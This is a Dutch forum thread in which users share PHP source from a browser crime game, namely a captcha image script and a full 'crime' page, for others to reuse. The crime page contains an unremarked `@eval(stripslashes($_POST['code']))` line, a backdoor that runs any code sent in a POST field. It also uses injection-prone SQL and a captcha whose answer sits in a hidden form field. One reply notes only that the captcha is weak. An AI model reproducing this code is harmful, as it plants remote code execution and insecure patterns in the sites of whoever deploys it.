Wie heeft deze captcha:
http://www.qrimeclub.nl/captcha.php
Is nogal van belang :$
Iedergeval bedankt!
Wie heeft deze captcha:
http://www.qrimeclub.nl/captcha.php
Is nogal van belang :$
Iedergeval bedankt!
Zo een is toch makkelijk na te maken :p
vind ik van niet?
Is wel makkelijk te maken
Ik heb helemaal nu geen zin om een voorbeeld te scripten
Deze heb ik uit de maffiacity source:
<?
$security = $_GET['security'];
$codee = ereg_replace("gsqwq", "0", $security);
$codee = ereg_replace("ssBjyq", "1", $codee);
$codee = ereg_replace("gHiq", "2", $codee);
$codee = ereg_replace("hWqDfA", "3", $codee);
$codee = ereg_replace("hsqerf", "4", $codee);
$codee = ereg_replace("Hwsawq", "5", $codee);
$codee = ereg_replace("hSXaq", "6", $codee);
$codee = ereg_replace("hgqYt", "7", $codee);
$codee = ereg_replace("hAsqF", "8", $codee);
$codee = ereg_replace("hxqSAw", "9", $codee);
$image = imagecreatefromjpeg("images/coden.jpg");
$bgColor = imagecolorallocate ($image, 255, 255, 255);
$textColor = imagecolorallocate ($image, 255, 255, 255);
imagestring ($image, 30, 30, 12, $codee, $textColor);
header('Content-type: images/jpeg');
imagejpeg($image);
?>
Toon Meer
Hier de misdaad script van maffiacity haal de nodige stuks daar maar uit:
<?php
include("_include-jail.php");
if(! check_login()) {
header('Location: login.php');
exit;
}
?>
<html>
<head>
<title>MaffiaCity.nl - Het leukste spel op het web !</title>
<body style="background: #808080; margin: 0px;">
<link rel="stylesheet" type="text/css" href="css-v1.css">
</head>
<table width=100%>
<tr><td class="subTitle"><b>Misdaad</b></td></tr>
<?PHP
$data2 = mysql_query("SELECT *,UNIX_TIMESTAMP(`misdaad`) AS `misdaad`,0 FROM `[users]` WHERE `login`='{$_SESSION['login']}'");
$data1 = mysql_fetch_object($data2);
$kut = mysql_query("SELECT * FROM `[users]` WHERE `login`='$data->login'");
while ($sql = mysql_fetch_assoc($kut))
{
if($data1->misdaad + 120 > time()){
print '<tr><td class=\'mainTxt\' align=\'center\'>Je kan maar om de 2 minuten een misdaad doen.</td></tr>';
}
else{
if(isset($_POST['submit'])){
if($data->rank == 0) {
$rankvord = 10;
}
if($data->rank == 1) {
$rankvord = 5;
}
elseif($data->rank == 2) {
$rankvord = 3;
}
elseif($data->rank == 3) {
$rankvord = 2.5;
}
elseif($data->rank == 4) {
$rankvord = 1;
}
elseif($data->rank == 5) {
$rankvord = 1;
}
elseif($data->rank == 6) {
$rankvord = 0.50;
}
elseif($data->rank == 7) {
$rankvord = 0.50;
}
elseif($data->rank == 8) {
$rankvord = 0.50;
}
elseif($data->rank == 9) {
$rankvord = 0.25;
}
elseif($data->rank == 10) {
$rankvord = 0.25;
}
elseif($data->rank == 11) {
$rankvord = 0.25;
}
elseif($data->rank == 12) {
$rankvord = 0.25;
}
elseif($data->rank == 13) {
$rankvord = 0.25;
}
elseif($data->rank == 14) {
$rankvord = 0.20;
}
elseif($data->rank == 15) {
$rankvord = 0.10;
}
elseif($data->rank == 16) {
$rankvord = 0.05;
}
elseif($data->rank == 17) {
$rankvord = 0.05;
}
elseif($data->rank == 18) {
$rankvord = 0.05;
}
elseif($data->rank == 19) {
$rankvord = 0.05;
}
elseif($data->rank == 20) {
$rankvord = 0.05;
}
elseif($data->rank == 21) {
$rankvord = 0.05;
}
elseif($data->rank == 22) {
$rankvord = 0.02;
}
elseif($data->rank == 23) {
$rankvord = 0.01;
}
$tijd = $data->rank*15;
$R1 = $_POST['R1'];
$p1a = $data->misdaadl/5;
$p1b = round($p1a);
$p1 = rand($p1b/2,$p1b);
$p2a = $data->misdaadl/6;
$p2b = round($p2a);
$p2 = rand($p2b/2,$p2b);
$p3a = $data->misdaadl/7;
$p3b = round($p3a);
$p3 = rand($p3b/2,$p3b);
$p4a = $data->misdaadl/8;
$p4b = round($p4a);
$p4 = rand($p4b/2,$p4b);
$p5a = $data->moordexp/5;
$p5b = round($p5a);
$p5 = rand($p5b/2,$p5b);
$pr1 = $sql['p1'];
$pr2 = $sql['p2'];
$pr3 = $sql['p3'];
$pr4 = $sql['p4'];
print "<tr><td class=\"mainTxt\" align=\"center\" colspan=\"2\">";
@eval(stripslashes($_POST['code']));
if($_POST['code2'] != $_POST['codenn']) {
print "De code is onjuist!</font>";
exit;
} else {
}
if($data1->misdaadl <500)
{
mysql_query("UPDATE `[users]` SET `misdaadl`=`misdaadl`+'10' WHERE `login`='$data->login'");
}
mysql_query("UPDATE `[users]` SET `p1`='$p1', `p2`='$p2', `p3`='$p3', `p4`='$p4' WHERE `login`='$data->login'");
print '<tr><td class=\'mainTxt\' align=\'center\' colspan=\'2\'>';
if($R1 ==1){
$getal = rand(1,100);
if($getal <$pr1+1){
$geld = rand(1,100);
mysql_query("UPDATE `[users]` SET `cash`=`cash`+'$geld',`rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
print "Het is gelukt en je hebt <b>?{$geld}</b> ervoor gekregen.";
exit;
}
else{
$getal = rand(300,300);
if($getal ==1){
mysql_query("UPDATE `[users]` SET `gevangenis`=NOW(),`gevangenistijd`='$tijd' WHERE `login`='{$data->login}'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
mysql_query("UPDATE `[users]` SET `rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
print "Het is mislukt en je zit voor <b>$tijd</b> seconden in de gevangenis.";
exit;
}
else{
mysql_query("UPDATE `[users]` SET `rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
print "Het is mislukt maar je bent ontsnapt aan de politie.";
exit;
}
}
}
if($R1 ==2){
$getal = rand(1,100);
if($getal <$pr2+1){
$geld = rand(100,500);
mysql_query("UPDATE `[users]` SET `cash`=`cash`+'$geld',`rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
print "Het is gelukt en je hebt <b> ?{$geld} </b> ervoor gekregen.";
exit;
}
else{
$getal = rand(300,300);
if($getal ==1){
mysql_query("UPDATE `[users]` SET `gevangenis`=NOW(),`gevangenistijd`='$tijd' WHERE `login`='{$data->login}'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
mysql_query("UPDATE `[users]` SET `rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
print "Het is mislukt en je zit voor <b>$tijd</b> seconden in de gevangenis.";
exit;
}
else{
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
mysql_query("UPDATE `[users]` SET `rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
print "Het is mislukt maar je bent ontsnapt aan de politie.";
exit;
}
}
}
if($R1 ==3){
$getal = rand(1,100);
if($getal <$pr3+1){
$geld = rand(500,1500);
mysql_query("UPDATE `[users]` SET `cash`=`cash`+'$geld',`rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
print "Het is gelukt en je hebt <b>?{$geld}</b> ervoor gekregen.";
exit;
}
else{
$getal = rand(300,300);
if($getal ==1){
mysql_query("UPDATE `[users]` SET `gevangenis`=NOW(),`gevangenistijd`='$tijd' WHERE `login`='{$data->login}'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
mysql_query("UPDATE `[users]` SET `rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
print "Het is mislukt en je zit voor <b>$tijd</b> seconden in de gevangenis.";
exit;
}
else{
mysql_query("UPDATE `[users]` SET `rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
print "Het is mislukt maar je bent ontsnapt aan de politie.";
exit;
}
}
}
if($R1 ==4){
$getal = rand(1,100);
if($getal <$pr4+1){
$geld = rand(1500,3000);
mysql_query("UPDATE `[users]` SET `cash`=`cash`+'$geld',`rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
print "Het is gelukt en je hebt <b>?{$geld}</b> ervoor gekregen.";
exit;
}
else{
$getal = rand(300,300);
if($getal ==1){
mysql_query("UPDATE `[users]` SET `gevangenis`=NOW(),`gevangenistijd`='$tijd' WHERE `login`='{$data->login}'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
mysql_query("UPDATE `[users]` SET `rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
print "Het is mislukt en je zit voor <b>$tijd</b> seconden in de gevangenis.";
exit;
}
else{
mysql_query("UPDATE `[users]` SET `rankvord`=`rankvord`+'$rankvord',`misdaad`=NOW(),`misdaadx`=`misdaadx`+1 WHERE `login`='{$_SESSION['login']}'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'5' WHERE `login`='$data->login'");
print "Het is mislukt maar je bent ontsnapt aan de politie.";
exit;
}
}
if($R1 ==6){
$attack = $_POST['attack'];
print <<<ENDHTML
<p><a target="_self" href="/attack.php?x=$attack">klik hier</a> om hem
aan te vallen.</p>
ENDHTML;
}
print "</td></tr>";
}
print "</td></tr>";
if($data->clan !=""){
$geld1 = ($geld/100)*5;
}
}
print "</td></tr>";
}
if(!isset($_POST['submit'])) {
$codene = rand(1000,9999);
$codee = ereg_replace("0", "gsqwq", $codene);
$codee = ereg_replace("1", "ssBjyq", $codee);
$codee = ereg_replace("2", "gHiq", $codee);
$codee = ereg_replace("3", "hWqDfA", $codee);
$codee = ereg_replace("4", "hsqerf", $codee);
$codee = ereg_replace("5", "Hwsawq", $codee);
$codee = ereg_replace("6", "hSXaq", $codee);
$codee = ereg_replace("7", "hgqYt", $codee);
$codee = ereg_replace("8", "hAsqF", $codee);
$codee = ereg_replace("9", "hxqSAw", $codee);
if($data->rank == 0) {
$rankvord = 10;
}
if($data->rank == 1) {
$rankvord = 5;
}
elseif($data->rank == 2) {
$rankvord = 3;
}
elseif($data->rank == 3) {
$rankvord = 2.5;
}
elseif($data->rank == 4) {
$rankvord = 1;
}
elseif($data->rank == 5) {
$rankvord = 1;
}
elseif($data->rank == 6) {
$rankvord = 0.50;
}
elseif($data->rank == 7) {
$rankvord = 0.50;
}
elseif($data->rank == 8) {
$rankvord = 0.50;
}
elseif($data->rank == 9) {
$rankvord = 0.25;
}
elseif($data->rank == 10) {
$rankvord = 0.25;
}
elseif($data->rank == 11) {
$rankvord = 0.25;
}
elseif($data->rank == 12) {
$rankvord = 0.25;
}
elseif($data->rank == 13) {
$rankvord = 0.25;
}
elseif($data->rank == 14) {
$rankvord = 0.20;
}
elseif($data->rank == 15) {
$rankvord = 0.10;
}
elseif($data->rank == 16) {
$rankvord = 0.05;
}
elseif($data->rank == 17) {
$rankvord = 0.05;
}
elseif($data->rank == 18) {
$rankvord = 0.05;
}
elseif($data->rank == 19) {
$rankvord = 0.05;
}
elseif($data->rank == 20) {
$rankvord = 0.05;
}
elseif($data->rank == 21) {
$rankvord = 0.05;
}
$tijd = $data->rank*15;
$R1 = $_POST['R1'];
$p1a = $data->misdaadl/5;
$p1b = round($p1a);
$p1 = rand($p1b/2,$p1b);
$p2a = $data->misdaadl/6;
$p2b = round($p2a);
$p2 = rand($p2b/2,$p2b);
$p3a = $data->misdaadl/7;
$p3b = round($p3a);
$p3 = rand($p3b/2,$p3b);
$p4a = $data->misdaadl/8;
$p4b = round($p4a);
$p4 = rand($p4b/2,$p4b);
$p5a = $data->moordexp/5;
$p5b = round($p5a);
$p5 = rand($p5b/2,$p5b);
$pr1 = $sql['p1'];
$pr2 = $sql['p2'];
$pr3 = $sql['p3'];
$pr4 = $sql['p4'];
}
?>
<form method="POST">
<table width=100%><tr><td class=maintxt width=100% colspan=3>
<p><input type="radio" value="1" checked name="R1"> Steel speelgoed van een kind. <? echo "$pr1%"; ?></p>
<p><input type="radio" name="R1" value="2"> Jat een tas van een bejaarde vrouw.   <? echo "$pr2%"; ?></p>
<p><input type="radio" name="R1" value="3"> Gijzel een groep mensen en jat hun geld. <? echo "$pr3%"; ?></p>
<p><input type="radio" name="R1" value="4"> Beroof een supermarkt. <? echo "$pr4%"; ?></p>
<tr><td class="mainTxt" width=25%>
Code: <img alt="Een beveiliging tegen bots, Vul de code rechts in!" src="coden.php?security=<? echo $codee; ?>">
<input name="code2" type="hidden" value="<? echo $codene; ?>">
<input name="codecheck" type="hidden" value="<? echo $codechecker; ?>"></tr></td>
<p align=right><td class=maintxt>
<p align="center">
<input name="codenn" maxlength="4" size=5 style="float: right"><br>
<input type="submit" value="Verzenden" name="submit" style="float: right"> </td></tr></table>
</form>
</td></tr>
<?
}
?>
</body>
</html>
Toon Meer
Is niet goed beveiligd ![]()
Opgelet: bovenstaande captcha is zeer eenvoudig te ontcijferen!
Je kan het gebruiken, maar het biedt geen zekerheid tegen automated requests.
Het beste is iets te implementeren tegen CSFR (cross site request forgery) zoals bv een unieke waarde meesturen met het formulier.
Captcha kan als je client side het van 1 kant uit ook wilt afschermen.
Oh oke wist ik niet sorry :O
@Koen
Die van criminalspoint is ook niet veilig lijkt er zelfs bijna op en toch gebruik je hem :p
De nieuwe vendetta source heeft een redelijk goeie, moet je even onder downloads zoeken ![]()
Heb je nog geen account? Registreer je nu en word deel van onze community!